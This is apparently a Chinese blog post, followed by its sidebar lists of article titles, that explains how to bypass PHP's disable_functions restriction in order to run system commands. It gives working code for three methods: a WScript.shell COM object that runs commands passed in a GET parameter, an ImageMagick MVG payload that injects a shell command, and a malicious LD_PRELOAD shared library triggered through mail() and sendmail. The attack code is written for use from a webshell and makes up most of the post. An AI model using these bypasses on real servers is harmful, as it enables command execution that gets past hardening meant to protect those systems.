测试环境 php 5.4.5

0x01 利用系统组件绕过

1.window com组件(php 5.4)(高版本扩展要自己添加)

(COM组件它最早的设计意图是,跨语言实现程序组件的复用。)

测试:

<?php
$command=$_GET['a'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

彻底的解决方案是 直接删除System32目录下wshom.ocx文件

2.利用ImageMagick漏洞绕过disable_function

ImageMagick是一套功能强大、稳定而且开源的工具集和开发包,可以用来读、写和处理超过89种基本格式的图片文件
如果phpinfo中看到有这个,可以尝试以下

官网下载地址:https://imagemagick.org

拓展下载:

https://pecl.php.net/package/imagick

https://windows.php.net/downloads/pecl/releases/imagick/3.4.1/

<?php
echo "Disable Functions: " . ini_get('disable_functions') . "\n"; $command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
$command = 'id';
} $exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF; file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>

3.利用环境变量LD_PRELOAD来绕过

php的mail函数在执行过程中会默认调用系统程序/usr/sbin/sendmail,如果我们能劫持sendmail程序,再用mail函数来触发就能实现我们的目的

LD_PRELOAD是Linux系统的下一个有趣的环境变量:“它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

例子:利用mali函数来测试

#include<stdlib.h>
#include <stdio.h>
#include<string.h> void payload(){
FILE*fp = fopen("/tmp/2.txt","w");
fclose(fp);
system("mkdir /var/www/html/test");
} int geteuid(){
FILE *fp1=fopen("/tmp/2.txt","r");
if(fp1!=NULL)
{
fclose(fp1);
return ;
}else {
payload();
return ;
} }
执行命令编译为一个动态共享库:

gcc -c -fPIC a.c -o a
gcc -shared a -o a.so

通过putenv来设置LD_PRELOAD,让我们的程序优先被调用。在webshell上用mail函数发送一封邮件来触发。结果为

<?php
putenv("LD_PRELOAD=/var/www/html/a.so");
mail("[email protected]","","","","");
?>

最新文章

  1. iOS面试题 -总结 ,你的基础扎实吗?
  2. Linux FHS
  3. Uva 10537 过路费
  4. Gradle学习系列之七——依赖管理
  5. hyper-v无线网络上外网
  6. Gradle用户指南(3)-构建Java项目
  7. vijos 1038 括号+路径 ***
  8. C#生成JSON数据
  9. 原来腾讯还出过一个开源项目libco
  10. CSS精粹之布局技巧
  11. js获取某个标签中的信息
  12. 源码编译安装 MySQL 5.5.x 实践(转)
  13. Asterisk 未来之路3.0_0003
  14. 即时作图新工具—ProcessOn【推荐】…
  15. 【日记】一次程序调优发现的同步IO写的问题,切记
  16. Python 官方文档解读(1):66 个内置函数
  17. OpenCV-Python入门教程1-图片
  18. 编译安装centos7 php7.2 mysql5.7 nginx1.9.9
  19. centos 下修改mysql 默认字符集
  20. 阿里云Redis外网转发访问

热门文章

  1. 【第十篇】easyui-datagrid排序 (转)
  2. 激光三角测量(sheet of light)halcon示例详解 Reconstruct_Connection_Rod_Calib.hdev 三维重建
  3. netty源码解解析(4.0)-22 ByteBuf的I/O
  4. git远程仓库常用命令
  5. Unity3D-游戏场景优化之遮挡剔除(Occlusion Culling)的使用
  6. html常见的块元素与内联(行内)元素用法说明(一)
  7. Scala Data Structure
  8. Gitlab+Gitlab-CI+Docker实现持续集成(CI)与持续部署(CD)
  9. Oracle 查询真实执行计划
  10. 浅谈MVC&amp;MTV设计模式